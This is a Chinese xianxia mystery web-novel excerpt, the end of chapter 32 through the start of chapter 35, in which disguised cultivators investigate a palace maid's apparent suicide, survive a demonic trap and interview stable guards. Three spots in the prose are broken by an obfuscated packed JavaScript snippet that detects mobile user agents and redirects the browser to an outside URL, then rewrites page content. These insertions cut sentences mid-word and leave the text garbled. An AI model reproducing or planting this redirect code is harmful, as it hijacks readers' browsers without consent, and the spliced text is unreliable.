干得漂亮!不管你是不是真的情商爆表,但这个意想不到的话题角度确实化解了尴尬气氛,苏晴沄在心底默默给他点了个赞。 西九岭还记得传闻中飞云子喜爱美食,觉得有此一问也不奇怪,于是很自然的回了声是。 “听说黄金柿被穹山看管起来,山下城镇都买不到?”飞云子接着问道。 “并非看管。黄金柿本就是苏师叔在山门中培育出来的灵果,因此外界并无生长。” “这样的吗?”飞云子有些惊讶,这跟传闻完全不一样嘛。 “因为已经过了三百多年吧。”西九岭不以为意,毕竟世人大多健忘。 飞云子点了点头,“所以外面买不到啊……还好有幸认识了齐道友,以后我就可以去穹山吃黄金柿了。” 除平乐公主和甜雨之外的人都将视线投向了他,所有人的脸上都写着:自来熟没有底线的吗? 西九岭倒是无所谓地笑了笑,应了句:“随时欢迎。” 飞云子立刻喜上眉梢道:“也欢迎齐道友去我们飞云宗做客,不过我们那里没什么特产就是了,哈哈!” 就这样,一行人在“和谐”的气氛中到达了位于皓城东北的平乐公主府。 被搀扶下车的第一时间,平乐公主便将飞云子从西九岭身边拉开,“跟这些人有什么可聊的?陪我赏花去。”说着便往府里走,头也不回地丢下一句,“甜雨,你带他们去取花。” 程久见状连忙快走几步。他不敢拦住公主,只是弓着身子边追请示:“公主殿下!下官想看看香雪的房间……” “让甜雨带你去。” 程久听到公主发话总算松了口气,然后转身向甜雨施礼道:“那就劳烦甜雨姑娘了。” “廷尉大人折煞奴婢了,”甜雨赶忙还了一礼,然后想到了什么,有些为难地看向西、苏二人。 苏晴沄立刻会意,大方道:“查案要紧,先去香雪住处吧。”见她有些迟疑又道,“不用特地招待我们,跟着你走走也可以欣赏一下公主府的景致,这里的院落布局与大景和穹山全然不同,我们也很想见识一下。” 西九岭已经习惯了她的张口就来,但依旧深感佩服。 被她这么一说,甜雨也不好安排他们去客厅坐等,但还是看向廷尉程久,不知带上二人是否会影响查案。 程久却别开了眼,不作回应。 他自然明白苏、西二人的意图,也清楚办案不该带上旁人,可现实情况是人手不足。因为公主府只允许他带两个助手入内,其他人员全部留在府外候命,那么大个公主府,就给他两个人,查个屁啊? 所以他想暂时借用苏、西二人的观察力,又不能明着破坏规矩,于是只能闭口不言。 甜雨见他没有反对便也省事,直接领着三人往内院走去。 原本苏晴沄只想以赏景为借口顺理成章地查看香雪住处,可一路走下来就觉得这公主府确实值得一逛。 虽然同样是石造建筑,但与以白为主色调、肃穆威严的皇宫不同,这里的建筑更加精致灵巧。主要殿宇皆是蓝绿色屋顶,墙面上镶嵌彩色琉璃装饰,其中最多用的是粉色,整体感觉更加柔美娇丽、精巧玲珑。 香雪住的房间自然没有华丽的屋顶和琉璃装饰,但作为大丫鬟她住的也是单间。房间不大,但因摆设不多又很整洁,所以显得很宽敞。 进门正对面靠墙的小几上摆着一个花瓶和一张阮琴,旁边的小桌则放着一套茶具。门右侧是桌案和座椅,桌上放着文房四宝。左侧用纱帘隔开,最里面是一张软塌,床头桌上放着铜镜、首饰、脂粉,床尾则安置着衣柜。 几人分头搜查了房间,然后重新聚到门口。 程久问甜雨:“甜雨姑娘,我看这里的衣物、鞋袜、床单、被褥、甚至床帐上都绣有雪花纹饰,这似乎是香雪姑娘的习惯?” 甜雨给出了肯定的回答:“香雪的名字里有个雪字,故而喜欢在自己的物品上绣雪花纹样。” 程久神情严肃,转向苏、西二人道:“如此看来,破屋中的水囊确实可能不是死者的。” 苏晴沄表示认同,然后也向甜雨提了问题:“我看衣柜里只有一身骑装,屋里也没有发现马鬃,香雪自己对骑马没有兴趣吗?” “嗯,我们几个都不爱骑马,只是公主喜欢,所以都学了。” “你们几个是指?” “公主身边的四个大丫鬟,除了奴婢和香雪,还有怜霜和惜风,公主每次去马场总要带上我们四人中的两个侍候。” “这么说来,你跟香雪很熟了?” 听到这个问题,甜雨露出谨慎的表情,“我们几个都是一样的,不过奴婢的住处跟香雪挨着,因此走动多些。” “你最后一次见到香雪是在何时?”或许觉得总让不相干的人问话不合适,程久开口拿回主动权。 “是昨晚戌时,殿下从宫中回来就进了自己房间,只留下香雪一人侍候,我们便各自回房了。” “那时香雪可有什么异常?” 甜雨仔细回想了一番,然后摇了摇头,“没什么异常。” 程久想了想,又换了个问题:“平日夜间也是香雪一人侍候吗?” 见她垂下眼,程久不禁追问:“这个问题不好回答吗?” 甜雨吸了口气,才抬眼答道:“按规矩该是有两人侍候的,但偶尔也有只留香雪一人的时候。”说起来好像公主不满意她们三人似的。 “如此说来,公主殿下最信任的人是香雪?” “香雪的母亲是公主殿下的乳母,年幼时便开始伺候公主了,我们几个则是公主建府后才来的。” 程久露出恍然之色,“那香雪的母亲如今在哪里?” “几年前便过世了。” “那她可还有其他亲人?” “没有。” 程久思索着点了点头,“怪不得公主殿下对她信赖有加,私库也交由她看管……”说着,他突然想起一事,“既然稍后甜雨姑娘要带两位客人去取蓝莲花,那是不是私库的钥匙就在姑娘手中?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035560|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜雨点了下头。 “可否让下官看看?” 甜雨稍微想了一下,从袖中取出一个小木盒递了过去。 程久接过木盒打开,西、苏二人也凑了上去,随即三人都露出惊讶之色。只见盒中躺着一枚没有刻字的玉石印章,丝丝灵气萦绕印章之上,竟是一件灵力不俗的法器。 程久神色凝重地将木盒还给甜雨,问道:“这钥匙之前都是由香雪保管?” “嗯。不过今后就是公主自己收着了,奴婢用完就要交还的。” 程久点了点头,毕竟发生了这种事情,“这钥匙不可复制,蓝莲花应该是香雪盗走了。”问题是她把蓝莲花藏到哪儿了?想着,他下意识看向在破屋中查案活跃的苏晴沄。 可苏晴沄没接他的话,反而是问了另一个问题:“府里丢马了吗?” 甜雨摇了摇头,“今早府里上下都搜过一遍,当时也派人查过马房,没有丢马。” 西九岭用手指轻抚着下巴道:“所以要么是香雪逃出府后先去了个有马的地方,要么是另一个人将那些马的鬃毛带去了破屋。” 他如此分析的时候苏晴沄脑海中掠过了那个手背有刀疤的人,躲在树后看热闹的人实在很可疑…… 程久则是双眼一亮,“如此说来,她有可能是将蓝莲花藏到了一个有马的地方,也有可能是交给了那个骑马的同伙!” 苏晴沄有点儿同情地看了他一眼,“应该不是藏在了有马的地方。”这位一心想要立功的廷尉大人还不知道那朵蓝莲花已经被魏宁用掉了。 “也对,死者并不喜欢马。”程久并未理解苏晴沄话中的深意,但却接受了她的意见,“那就是还有个骑马的同伙!” “死者,啊,香雪在府外有什么熟人吗?” “没有,香雪自幼长在府里,又没有亲戚,所以……” 程久露出失望之色。如果香雪的熟人都在府内,那岂不是有很大可能是合伙监守自盗?那就得把公主府的人都查一遍…… “那有什么人跟香雪不和吗?有过仇怨或争吵的?”苏晴沄依旧觉得香雪之死是他杀案件。 但甜雨的答案依旧令人失望:“香雪为人和善、从不与人争执,我不觉得有谁会记恨她。” 虽然不觉得香雪是被人杀害,但程久也认为还有一个人,而且可能同样是内贼,因此向公主请示后开始对府中下人进行询问。甜雨则带着苏、西二人去取蓝莲花。 公主的私库防守并不严密,因为看门的是一个化神级别的禁制。苏、西二人见到时立刻明白那是冰帝的手笔,同时也确定了绝不可能有人不用钥匙进入私库。 甜雨将五瓣蓝莲花交到西九岭手中后向着两人施了一礼,“奴婢要去交还钥匙,就不送两位了。” 也不见她招呼,一个不知哪里冒出来的小丫鬟就走到了两人面前、准备带路。 出发前苏晴沄突然叫住甜雨,“对了,还有个问题。” 这位大丫鬟一脸疑惑地看向她。 “香雪这一年内有没有举止异常的时候,令你印象深刻的?”既然蓝莲花是一年前给魏宁的,那负责看管私库的香雪可能早就察觉了。如果是她偷的,那也是一年前动的手。 甜雨最初一脸不明所以,但突然间神情有了变化、显然想起了什么,然后她迅速收敛了神情,犹豫着道:“要说异常,那就是上月初七从马场回来那晚……她有点儿奇怪。” “奇怪?确定是从马场回来之后?”得到意外的答案,苏晴沄有些惊讶。 “也可能去的时候就那样了,奴婢没有注意……” “那为什么会觉得她晚上奇怪?是因为那天晚上她跟你说了什么?” “不是!”甜雨几乎是立刻回答道,然后垂下了眼帘,“她什么都没说,就是样子有点儿怪,好像有心事吧。” 西、苏二人迅速交换了一个眼神——这姑娘肯定有所隐瞒! 33. 夜袭 驿站的客房内,西九岭独自坐在桌前。 他面前的蜡烛已经燃烧大半,蜡油溢出烛台滴落在桌面上,泛青的墨架在平平无奇的方砚上,而沾了墨水的狼毫还拿在他的手中。 今天实在是忙碌的一天。从皇宫花园到郊外破屋、再到公主府,等他们拿着蓝莲花回到驿站,已经是夕阳西下、暮色将近,用膳时才得以整理思绪。 而交流之后,他才发现这次自己跟“酒夕”的看法略有不同。 当然,他们都认为死亡现场还出现过另一个人,这点是毋庸置疑的,来历不明的马鬃和突兀的水囊都是佐证。 分歧是,这个人做了什么? 他认为这个人很可能从香雪那里带走了什么消息,又或者给香雪传达了某个消息,有可能间接导致了香雪的自杀。 “酒夕”却坚信那个人杀死了香雪,理由是水囊。 水囊既然不是香雪的,肯定是另一个人的。而水囊掉在破旧的木地板上不可能没有发出声音,更何况还滚落了盖子、流了一地水,水囊的主人肯定发现了、却没有捡起来。为什么?原因只有一个,水囊是那个人故意留下的,目的是伪造自杀现场。 他惊叹于“酒夕”的推理角度,但却无法认同。验尸表明香雪死于窒息,且脖子上没有多余的勒痕,如果真的是伪造自杀,那究竟是怎么做的呢? “酒夕”坦言自己还没有想到答案,但却倔强的不肯改变想法。不过,这也没什么关系…… 西九岭画完最后一笔,将狼毫架在了笔洗上。虽然思路存在分歧,但两人得出的行动方针却是一致的。 他如此想着,看向手中刚刚完工的画像。纸面上一个面貌清秀的女子紧闭双眼、面无表情。她眉毛细长、嘴唇略厚,正是吊死在破屋中的香雪。 不管香雪是怎么死的,他们都决定明早去一趟西郊马场。一来是现场出现的马鬃,如果说平日里有什么养马的地方跟香雪有关,那无疑就是西郊马场;二来是甜雨最后说的话——上月初七从马场回来那晚香雪有点儿怪。 不止一条线索指向马场,那么马场多半有问题。 想起决定去马场时的情景,他露出无奈一笑,“酒夕”那家伙居然说为了调查方便让他画一张香雪的画像。问题是他只见过香雪死后的模样,这样的画像真的可以吗? 总比没有强啊! 当他提出质疑时,“酒夕”就是这么回答的,而且还笑得跟狐狸似的说:听说穹山弟子都是文武兼修,你一定可以的吧? 于是,作为一宗之主的他为了不砸穹山的招牌只得接下了这份差事、秉烛作画。 就在他收起画纸准备休息的时候,一丝陌生的灵气突兀出现。他目光锐利地转头,就见窗户上映出一个倒挂的人影,而短短一瞬间,那人影又消失不见。 西九岭快步走到窗前、打开窗户。 今夜阴云遮月,街道上昏暗不明,只有大户人家门口的灯笼洒下小片光亮,但也大多集中在城内,去往城门的方向则完全掩盖在夜幕之下。就在那片黑暗之中,一个黑衣人正踏着屋檐掠向城门。 他不做多想,纵身一跃追出窗外。 那黑衣人似乎有所察觉,带着面纱的脸回头望了一眼,然后加快脚步奔向城墙。也不见他使用什么工具,只是纵身一跃便上了墙头。 西九岭跟着追过城墙,就见那黑衣人已经御剑向南飞去,看速度应该是个金丹。 这里还在冰帝的绝对领域,但保持金丹功力很难追上前面的黑衣人。他稍加考虑便将法力提升至了元婴,这样应该不至于惊动冰帝。 本以为很快便能追上,谁知当两人之间的距离缩短之后,那黑衣人竟然提升了速度——是个元婴! 一瞬间,他脑海中跳出了一个名字——飞云子。会是他吗?不,纵使住在凡人城镇的元婴不多,但偌大一个凌都皓城也绝不会只有一个飞云子,先入为主反而有可能影响判断。 元婴御剑速度极快,不多时他便看到了立在路边的界碑,碑上刻着“虬县”二字,出了虬县便离开了冰帝的绝对领域。 想到马上能够放开手脚,他唇角微微勾起,下一刻脚下的剑便越过了界碑。 但就在那一瞬间,耳边的风声发出了轻微的波动,西九岭立刻停了下来。四周景象如常,黑衣人还在前方,只是那御剑飞行的身影始终跟自己保持着距离,纵使他停止不动也依然如故。 是幻境!界碑之后是一个早已布好的幻阵,那黑衣人的目的就是将自己引入幻阵! 他伸手握住剑柄,或许那黑衣人就埋伏在某处,正等待他破阵的时机偷袭。那样最好,那样他就能抓住对方了。 手中的剑在空中划出一道圆弧,剑气立刻在幻境上撕开一道裂缝,随后仿佛蔓延一般,四周景象接连出现裂缝,直到密密麻麻如同被击碎的铜镜,然后灵光炸开,无数碎片纷纷扬扬、消散半空,真实的景象在碎片之后一一显现。 脚下的路与幻境中别无二致,左右是树木林立,身后是虬县界碑,只是身前没有了继续逃窜的黑衣人。 令他感到惊讶的是,潜藏在幻阵之后不是黑衣人,而是一个杀阵,一个元婴级别的杀阵! 被幻阵掩盖的不止黑衣人的行踪,还有一道道魔纹。随着幻阵解除,那些魔纹也开始启动,黑色魔气如一条条细线般从魔纹上蹿出、划出一道道弧线在空中交汇,然后越来越浓、越来越密、越来越粗,黑色笼罩了四周如同在路中间扣下了一个黑色的铁柜。 而铁柜的顶端,一条粗大的黑蛇渐渐凝结成形、张开巨口,魔气聚成的毒牙释放着不详的气息。 西九岭忍不住佩服起敌人的周密。用幻阵掩盖真实去向,同时把敌人诱入杀阵。如此一来不用露面也能杀死敌人,万一失败也不用担心身份暴露,还真是附和天神教的行事风格。 想着,他眯起了眼,黑色的瞳仁深处如有惊涛骇浪在翻涌。手腕轻轻一番,灵剑随即破空而出。 随着滂湃的剑气奔涌,从剑尖跃出一条巨大的蓝色水龙。水龙盘旋而上,缠绕住黑蛇的身体,张开威严的龙口。 一声龙吟响彻黑暗,夜空中大雨滂沱! ————————视角转换的分隔符———————— 苏晴沄本来都要睡了,忽然听见旁边屋窗户打开的声音。这皓城的早春清冷,一过戌时街上就没人了,这会儿开窗能赏什么景? 她心存疑惑地打开窗户,没想到看见“齐鹤扬”踩着屋顶往西跑,大半夜跳窗是个什么操作?! 仔细一瞧,前面还有个黑衣人。 这下她可惊了,一个小金丹也敢追穷寇,万一有埋伏怎么办?想着,她回身抄起灵剑,跃出窗户追了出去。 城内不能御剑,待她追出城墙,先行御剑的两人已经不见身影。还好灵气的残留为她指明了方向,这才能御剑追赶,但考虑还在冰帝的绝对领域,她依然保持了金丹速度。 等到达虬县界碑的时候,不详的黑气已经笼罩在路中央。她暗叫不好,果然有陷阱,而且还是个元婴级别的杀阵! 这要是她没跟来,小金丹岂不是尸骨不存了! 顾不得身份暴露,她当即拔出了灵剑。可还没出招,就察觉到一股磅礴的灵气从魔阵内冒出。随后一声龙吟,空中突然下起了暴雨,随着一道闪电滑落,黑色的魔阵在一片蓝光中消灭殆尽,一条巨大的水龙窜上天际、直入夜空。 化神之力! 苏晴沄瞪大了眼、半张着嘴,直勾勾盯着前方路面上唯一的身影——“齐鹤扬”!之前一直悬在他腰间的佩剑此刻已经碎成数段、掉落在地。 什么情况?怎么回事?“齐鹤扬”哪儿来的化神之力??? 西九岭同样一脸震惊,他看到了一脸错愕的“酒夕”手上提着灵剑,显然是赶来救援的。他自然不会笑话对方一个小小金丹妄想破坏元婴杀阵,相反,他心底十分感动——那个为他抗下碎骨符的姑娘又来救他了。 但感动归感动,现在要想的是怎么解释刚才那一招水龙吟…… 就这样,两人一动不动、四目相对,各自努力着寻找解释。索性都有灵气护体,不用担心被浇成落汤鸡。 直到水龙吟引下的天雨停止,苏晴沄才率先有了动作。她猛地向前跑了几步、伸着脖子探头张望,急匆匆问:“你家掌门刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晴沄歪着头边想边道:“元婴修为,知道你得了蓝莲花,还能有时间设下如此周密的陷阱,要不是平乐公主先天不足、无法修炼,我第一个怀疑她。” 西九岭勾唇一笑,“那现在呢?你怀疑谁?” 苏晴沄抿了下嘴,“飞云子。咱们去公主府取花的时候他也在,他有第一手的消息,也有时间布置陷阱。” “如果他是天神教的传教者,那应该广收门徒、壮大宗门,可飞云宗十几年来一直疏于管理,至今还不到三十弟子。” “或许他不是韩旭?在教内另有分工?” “建立宗门可不是件容易的事,天神教干吗要花费大量资源弄个半死不活的小宗门出来?” 苏晴沄耸耸肩,“我也没说一定是他,毕竟他那模样不像能布下今晚这种陷阱的人。或许公主府里有人用传讯符把消息送出去了也说不定,既然那人的目的是蓝莲花,早晚还会出现。” 西九岭点了点头,两人默然返程。 走了一段,苏晴沄突然一脸认真地看向他,“齐道友。” 被郑重其事的叫了假名,西九岭莫名有些紧张。 “那个高阶灵符你有富裕的不?给我一张防身呗?”苏晴沄露出狐狸般的笑脸,“你看,这次的对手显然是个元婴强者,万一下次我落单的时候被他逮住怎么办?我家老爷又没你家掌门那么大方,一张符都没给我画,我都没什么保命的手段。” 西九岭:“……”实不相瞒,其实我也没画符。 苏晴沄盯着他的脸,神情渐渐由期冀转为失望,“果然没有富裕的……”毕竟是高阶灵符,怎么可能随便骗出来卖?“你就当我没有说过。” “不……”西九岭觉得确实该给她几张符防身,只是现在拿不出来,“不是没有富裕的,只是一时间整理不出来,等我整理一下再给你。” 苏晴沄一脸震惊,一时间整理不出来?你家大佬是给了你多少符啊! 西九岭看着她的表情又一次默然,感觉这姑娘又误会了什么…… 34. 是他杀 “回春符、聚灵符、金刚护体符、移形换影符,”苏晴沄点着手中的灵符、双眼发亮,“哇!水龙符!就是昨天那个吧?” “嗯。”看着她喜笑颜开的模样,西九岭也跟着扬起了唇角。 点完一遍,苏晴沄美滋滋地将灵符收好,又想着该说些什么,于是抬手拍了拍好哥们儿的肩头,由衷感叹道:“你家掌门对你真好!” 西九岭的唇角瞬间僵硬,通宵画符的明明是他,可被夸的却是别人……不对,他家掌门就是他自己……可怎么总感觉被夸的不是自己……更重要的是,这个夸赞的角度实在是令人如鲠在喉啊! “怎么了?”苏晴沄突然察觉他的神色有异,仔细一看竟然还有一对熊猫眼,于是立刻关心起来,“没睡好?” 不对啊,就算只有金丹修为,也不至于熬个夜就心力憔悴啊……她忽地恍然明悟,原来是这样! “通宵传讯了吧?”自以为猜中真相的某人眯眼笑得像个狐狸。 还没来得及回答的西九岭只觉得心更堵了,光看那张笑脸,他就知道话中所指的传讯对象是谁。 “年轻人嘛,可以理解。”苏晴沄又拍了拍他的肩,一脸老气横秋的模样,“不过发短……传讯也要有节制,而且你这修炼也不够扎实啊,通宵传讯就一副耗神过度的模样,以后怎么跟你们掌门……咳,一起修炼啊?” 他是因为通宵画符才耗神过度的好吗!!! 看着女人得了便宜还卖乖的背影乐颠颠走出城门,西九岭只觉得后槽牙都快咬碎了。 出了西城门沿着官道前行五里往南便能看到西郊马场,门口两个卫兵持枪站岗,一个精瘦高挑,另一个身形虽矮却很壮实。 西、苏二人自我介绍是香雪的兄、姊,这是来之前就商量好的。那两个卫兵上下打量两人,半信半疑。 西九岭正准备拿出画像,就见“酒夕”借着衣袖的遮掩往眼角擦了些什么,下一瞬就猛地哭了起来。他强忍着保持平静,心想:姑娘,你要加戏倒是提前说一声啊! “二位小哥可一定要帮帮我们啊,我那妹子走的不明不白,呜呜呜……” 苏晴沄边说边呜咽,辣椒面儿的效果令她双眼红肿、流泪不止。她本来生的华贵、面带傲气,这一哭梨花带雨将傲气掩了下去,反而更显凄美俏丽。两个卫兵只觉得眼前女子比他们见过的那些王侯贵女还美,一时间不觉看呆了。 西九岭突地有些无名火起,视线扫过两个卫兵的面孔,眼底波涛暗涌。 两个卫兵似乎察觉到了杀意,身体齐齐抖了一下,但抬头环顾四周又找不出个所以然。已经恢复如常的西九岭则一脸担忧地看着苏晴沄,俨然一个忧心妹妹的好哥哥。 还没等他们搞明白状况,苏晴沄又开口了:“说好只是去趟马场的,怎么再见面就是尸体了,我那苦命的妹子啊,”她似乎是强忍着哭意哽咽道,“你究竟是在马场遇上了什么?” 两个卫兵这时才渐渐搞明白了状况,高个卫兵率先反应过来,瞪大了眼睛问:“尸、尸体……香雪姑娘死了?公主身边那个大丫鬟香雪吗?” 苏晴沄抬眼看他的神情,“你们不知道?” 矮个卫兵似乎想到了什么,惊觉道:“我昨天当值的时候看见好多修士御剑往南,莫非跟这个有关?” 苏晴沄想了下破屋的位置,轻轻点了下头,“前天晚上你们看到她了吗?她跟我说是要来这里的。” 矮个卫兵立刻摆手,“前天晚上不是我当值啊,你问他。”说着指了指身边的同伴。 高个卫兵似乎还有点缓不过神,喃喃道:“香雪姑娘竟然死了吗……前天晚上看着还好好的啊。” “她果然来过!”苏晴沄连忙追问,“她有说什么吗?” “她、她说找王牧尉。” “王牧尉?” “对,就是我们马场的王牧尉。” “可否请那个王牧尉出来?我想问问小妹那晚跟他说了什么?” “这……”高个卫兵有些尴尬地抹了下鼻子,“王牧尉现在不在。” “不在?那他何时回来?” “他昨天说有急事回家,要半个月才回来呢。” 苏、西二人瞬速交换了一个眼神,这显然有种事发后跑路的味道啊。 苏晴沄接着问道:“那他家在哪里?我去找他。” “这我也不知道啊。”高个卫兵求助般看向同伴。 矮个卫兵也摇了摇头,“只听说王牧尉是东北那边的,具体老家在哪儿,我也不知道。” “难道就没人知道吗?”说着,苏晴沄又开始抽泣。 两个卫兵都露出为难之色,交换过视线后由高个卫兵开口道:“牧监大人应该知道,但要禀报的话……还得找机会,而且他也不一定见你们。” 苏晴沄一听要请这里的主管过来不禁神情一滞,万一对方要求他们证明身份怎么办?就在这时,一只手轻轻扶上了她的肩头,她就势扭过来把头靠在了“齐鹤扬”的胸前、掩饰不自然的表情。 西九岭没想到她会有这样的动作,一瞬间心头漏了一拍,喉结上下滚动了一圈才张开了口:“对不住两位小哥,小妹离世之后我二妹一直无法接受。” 苏晴沄趁机调整了表情,抬头时已是一副情绪稍稍稳定的样子。 西九岭做戏做全套,拿出当年下山办事的功力,一脸担忧地劝慰她道:“小夕,哥知道你是想弄清小妹离开的原因,可咱们来这里已经是麻烦了两位小哥,再让人家去找牧监大人实在不妥。何况知道那王牧尉的家在何处又如何?难道你还要追过去?那小妹的丧事怎么办?她已然那般可怜,你还不送她最后一程吗?” 苏晴沄惊觉这家伙也是个戏精,不过台词说的恰到好处。她就坡下驴假哭了一通,说自己肯定是要送妹妹最后一程的,王牧尉家在哪里就不重要了,也不用请牧监过来了。 两个卫兵也松了口气,公主府死了大丫鬟,这种事情可大可小,如果只是亲属跟他们下面人打听些事情还好,惊动上头就会牵扯更多,万一闹大了还是他们这些下面的人倒霉。 苏晴沄因“悲伤过度”在一旁缓和情绪,西九岭这个“哥哥”就顶替了发问的位置。 “香雪姑娘是子时来的,待了不到半个时辰就走了。”被问及香雪来此的具体时间,高个卫兵如是回答。 “她是去了王牧尉的住处吗?” “不,不,”高个卫兵连忙否认,“马场不能随意出入,是我请王牧尉出来的。”说着他指了下营门外的一棵杨树,“他们就在那儿聊了一会儿,然后香雪姑娘就走了。” “一个人走的?” “这个嘛……”高个卫兵露出有些疑惑的神情,“王牧尉大概是送了她一段吧?但有点儿奇怪,不是去官道那边,而是往南。” 西九岭看向杨树后方的那片树林,“树林里?” “对,我当时还以为他们是……”他差点儿要说干那种事,但想起眼前这人是香雪的哥哥就收住了口,“可没两刻钟,王牧尉就自己回来了。我想,他可能是把香雪姑娘送去哪儿了吧?”说完他突然想到了什么,眼神惊恐地望向那片树林,“难道香雪姑娘是、是在树林里……” “不,我小妹不是死在树林里的。”要是这卫兵担心扯上命案不肯多说就麻烦了。 “那就好,”高个卫兵明显松了口气,但依旧是有些怀疑地求证道,“不是王牧尉干的吧?” 西九岭没有正面回答,只说:“小妹是吊死的。” 他这么一说,两个卫兵都以为香雪肯定是自杀,如此便不用担心有没什么牵扯了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057630|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我们只是想知道小妹那晚究竟为什么会出门,”西九岭故作哀伤地叹了口气,“她后来一直没从树林返回吗?” “没有。” “那之后,王牧尉也没再离开马场?” 高个卫兵看向矮个卫兵,后者答道:“第二天早晨是我换的班,也就是昨天,午时王牧尉出去过一趟,回来后就请假了。” 按两人的说法,王牧尉子时见了香雪,丑时前就回了马场,第二天午时离开应该是去了破屋,然后发现香雪已死就请假离开了。 “我小妹常来找王牧尉吗?” 矮个卫兵摇了摇头,“我今天才知道王牧尉认识香雪姑娘。”说着眼中还露出些许羡慕之色,那可是公主府的大丫鬟啊。 高个卫兵也说:“前天晚上是小人第一次见香雪姑娘来找王牧尉,之前从没听说两人认识。” 之后西、苏二人又问了王牧尉的情况,两个卫兵拼拼凑凑把知道的说了。 原来那王牧尉名叫王岳,是六年多前突然来马场的,而且一来就是牧尉,平日里什么都不管、只管训马。听说曾经是个修士,在东边战场受了重伤、毁了修为,因为上面有人才得以来这儿担了个闲差养老。他性情孤僻、不理人情,又是上面塞进来的,所以马场里没人喜欢他。不过他训马的本事却是公认的厉害,不管多烈的马,只要给他骑上两圈就变得温顺听话了。 因此牧监虽然也不喜欢他,但却不曾亏待,毕竟关键时候还得用他。 两个卫兵又听苏晴沄描述了粉色水囊的样子,都表示没有见过。 最后,高个卫兵描述了王岳的样貌:“王牧尉平日里总戴着毡帽,还留络腮胡,小人也说不清他长啥样。不过他鼻梁到嘴角有一道长长的伤疤,应该是打仗时候留下的,他戴毡帽、留胡子恐怕也是为了遮掩伤疤。哦,对了!他右手背上也有一条刀疤,应该也是打仗时留下的。” 毡帽、络腮胡、右手背有刀疤,苏晴沄不禁瞪大了眼,这不就是那个躲在树后偷窥破屋的人吗?! 之后,两人根据高个卫兵的指向、绕过杨树进了树林,那片树林是马场林地的延伸,树木涨势一般。往前走不多时出现一个小山坡,看高度普通人也就爬上半个时辰,两人踏上坡顶、遥望对面景象,一瞬间豁然开朗。 “原来从马场到破屋的直线距离这么近。”苏晴沄说完又蹙起了眉头,“但凡人往返爬坡也不会只用两刻钟,王岳应该只是给香雪指了个路,没有去破屋。而香雪也没有进马场,那马鬃是哪儿来的?” “他们一起走过一段,或许那时候王岳给了她什么东西,又或许林间难行,王岳扶着她走了一段,身上的马鬃蹭到了香雪衣服上。” “确实有这种可能。”苏晴沄微微沉思,“按那高个卫兵的说法,前天晚上香雪是一个人来去的,那么就只有带路的王岳知道她去了破屋。可王岳丑时到午时之间都在马场,如何能在辰时杀人呢?” “你还觉得香雪是被人所杀?”西九岭有些无奈,这姑娘怎么突然钻起牛角尖了? 苏晴沄总不能说是自己多年观看刑侦剧培养的直觉,只得迈步往回城的方向走去,边走边道:“是不是自杀,马上就知道了。” 西九岭跟着她一路返回城内,却不料既没有回驿站也没有去公主府,两人最终到达的地方竟然是廷尉衙门。 当他看到给香雪验尸的仵作从廷尉衙门后门鬼鬼祟祟走出来跟“酒夕”交头接耳的时候,几乎要惊掉了下巴——她居然不知何时收买了仵作! 等仵作离去,西九岭才上前问道:“有什么消息?” 苏晴沄眼中闪烁着果然如此的光芒,“尸体中查出了迷药成分。” 西九岭双眼微微张大,这意味着香雪死前被人下了迷药,她是在昏迷状态下被吊起来的——是他杀! 35. 水囊是偷的 香雪竟然真的不是自杀! 西九岭不禁感叹“酒夕”的洞察力,就连他这个因梦见天赋而直觉强于常人的化神都没有怀疑过香雪的自杀。 “你为何一开始就认为不是自杀?”窒息死亡和仅有一道勒痕无疑都是自杀的证明。 “因为现场很不自然。” “你是说水囊、木柴和马鬃?”见她点头,西九岭依旧不解,“这些东西都只能说明有香雪以外的人去过破屋吧?” “水囊我之前解释过了,我怀疑那是凶手为了故布疑阵特地留下的;马鬃证明了另一个人的存在,这说明有他杀的可能;而木柴则是自杀现场最不协调的地方。” “木柴?那或许只是借住过破屋的流民拾来烧火的吧?”西九岭觉得那些木柴应该只是偶然出现在那里的。 可苏晴沄却摇了摇头,“那些木柴看似散乱,其实都集中在死者脚下,太不自然了。” “或许木柴原本就散在房梁正下方,香雪上吊时没管它们罢了。” “不可能不管它们,”苏晴沄十分肯定,“因为要放凳子。” “凳子?”西九岭回想现场的景象,一瞬间豁然贯通,“应该把木柴踢开才对!” “没错!要在房梁下方摆放踏脚的凳子就必然会踢开碍事的木柴,至少尸体正下方应该是一片空地。” 西九岭暗暗佩服“酒夕”的敏锐和坚持,虽然他也察觉到了违和之处,但在听到验尸结果后就否定了他杀的可能,“现在呢?你怎么看?” 现在……苏晴沄眉头紧蹙,调查了一圈也确定了他杀,可如今她反而更想不通杀人手法了,“既然已经迷晕了,那只要把香雪吊上房梁再摆个歪倒的凳子就行了,干吗要用水囊和木柴?还有那些马鬃,应该是王岳身上的,但守门卫兵说他进入树林只有两刻钟,应该没时间去木屋才对,怎么杀人呢?” “或许是用了什么障眼法?” 